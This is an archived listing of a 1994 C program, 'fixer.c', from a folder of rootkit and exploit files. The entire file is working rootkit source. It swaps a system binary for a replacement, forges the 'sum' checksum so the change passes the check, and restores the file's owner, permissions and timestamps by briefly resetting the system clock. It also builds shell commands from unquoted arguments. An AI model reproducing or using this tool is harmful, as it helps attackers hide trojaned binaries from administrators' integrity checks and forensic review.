home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rootkits / rootkit / fix.c < prev    next >
Text File  |  1994-03-01  |  3KB  |  151 lines

  1. /*
  2.  *    fixer.c
  3.  *    by Idefix 
  4.  *    inspired on sum.c and SaintStat 2.0
  5.  */
  6.  
  7. #include <sys/types.h>
  8. #include <sys/stat.h>
  9. #include <sys/time.h>
  10. #include <stdio.h>
  11. #include <unistd.h>
  12.  
  13. main (argc,argv)
  14. int    argc;
  15. char    **argv;
  16. {
  17.     unsigned orig_crc,current_crc,temp;
  18.     unsigned char diff1,diff2,buf[20];
  19.     char    systemstr[100];
  20.     struct     stat statbuf;
  21.     struct    timeval ftime[2], otime, ntime;
  22.     struct    timezone tzp;
  23.     long     position;
  24.     FILE    *f;
  25.     int     i,fix=1;
  26.  
  27.  
  28.     if (argc<4) {usage();exit(1);}
  29.  
  30.     stat(argv[1],&statbuf);
  31.  
  32.     if (sum(argv[1],&orig_crc)!=0) exit(1);
  33.     if (sum(argv[2],¤t_crc)!=0) exit(1);
  34.  
  35.     sprintf(systemstr,"cp %s %s",argv[1],argv[3]);
  36.     system(systemstr);
  37.     sprintf(systemstr,"cp %s %s",argv[2],argv[1]);
  38.     system(systemstr);
  39.  
  40.     diff1=(orig_crc&0xFF)-(current_crc&0xFF);
  41.     temp=(current_crc+diff1)&0xFFFF;
  42.     for(i=0;i<8;i++)
  43.     {
  44.        if (temp&1) temp = (temp>>1) + 0x8000;
  45.        else    temp >>= 1;
  46.     }
  47.     diff2=((orig_crc&0xFF00)>>8)-(temp&0xFF);
  48.     temp=(temp+diff2)&0xFFFF;
  49.     for(i=0;i<8;i++)
  50.     {
  51.        if (temp&1) temp = (temp>>1) + 0x8000;
  52.        else    temp >>= 1;
  53.     }
  54.     if ((temp-orig_crc)==1) diff1=diff1-1;
  55.  
  56.     if ((f = fopen(argv[1], "r+b")) == NULL) {
  57.         fprintf (stderr, "fixer: Can't open %s\n", argv[1]);
  58.         exit(1);
  59.     }
  60.     fseek(f,0L,SEEK_END);
  61.     position=ftell(f)-17;
  62.     fseek(f,position,SEEK_SET);
  63.     fread(buf,17,1,f);
  64.     for(i=0;i<17;i++)
  65.        if (buf[i]!=0) {
  66.           fprintf(stderr,"fixer: Last 17 bytes not zero\n");
  67.           fprintf(stderr,"fixer: Can't fix checksum\n");
  68.           fix=0;
  69.           break;
  70.        }
  71.     if (fix) {
  72.        buf[0]=diff1;
  73.        buf[8]=diff2;
  74.        fseek(f,position,SEEK_SET);
  75.        fwrite(buf,17,1,f);
  76.     }
  77.     fclose(f);    
  78.     
  79.     if (chmod(argv[1],statbuf.st_mode)) {
  80.        fprintf(stderr,"fixer: No permission to change mode or no such file\n");
  81.        exit(1);
  82.     }
  83.     
  84.     if (chown(argv[1],statbuf.st_uid,statbuf.st_gid)) {
  85.        fprintf(stderr,"fixer: No permission to change owner or no such file\n");
  86.        exit(1);
  87.     }
  88.     
  89.     ftime[0].tv_sec    = statbuf.st_atime;
  90.     ftime[1].tv_sec    = statbuf.st_mtime;
  91.     ntime.tv_sec    = statbuf.st_ctime;
  92.     ftime[0].tv_usec=ftime[1].tv_usec=ntime.tv_usec=0;
  93.     
  94.     
  95.     if (gettimeofday(&otime,&tzp)) {
  96.        fprintf(stderr,"fixer: Can't read time of day\n");
  97.        exit(1);
  98.     }
  99.     
  100.     if (settimeofday(&ntime,&tzp)) {
  101.        fprintf(stderr,"fixer: Can't set time of day\n");
  102.     }
  103.     
  104.     if (utimes(argv[1],ftime)) {
  105.            fprintf(stderr,"fixer: Can't change modify time\n");
  106.     }
  107.     settimeofday(&otime,&tzp);
  108.     return 0;    
  109. }
  110.  
  111.  
  112. sum (file,crc)
  113. char    *file;
  114. unsigned *crc;
  115. {
  116.     unsigned sum;
  117.     int i, c;
  118.     FILE *f;
  119.     long nbytes;
  120.     int    errflg = 0;
  121.  
  122.     if ((f = fopen(file, "r")) == NULL) {
  123.         fprintf (stderr, "fixer: Can't open %s\n", file);
  124.         return(1);
  125.     }
  126.     sum = 0;
  127.     nbytes = 0;
  128.     while ((c = getc(f)) != EOF) {
  129.         nbytes++;
  130.         if (sum&01)
  131.         sum = (sum>>1) + 0x8000;
  132.         else
  133.         sum >>= 1;
  134.         sum += c;
  135.         sum &= 0xFFFF;
  136.     }
  137.     if (ferror (f)) {
  138.         errflg++;
  139.         fprintf (stderr, "fixer: read error on %s\n",file);
  140.     }
  141.     fclose (f);
  142.     *crc=sum;
  143.     return(0);
  144. }
  145.  
  146. usage()
  147. {
  148.     fprintf(stderr,"Usage:\n");
  149.     fprintf(stderr,"fixer original replacement backup\n");
  150. }
  151.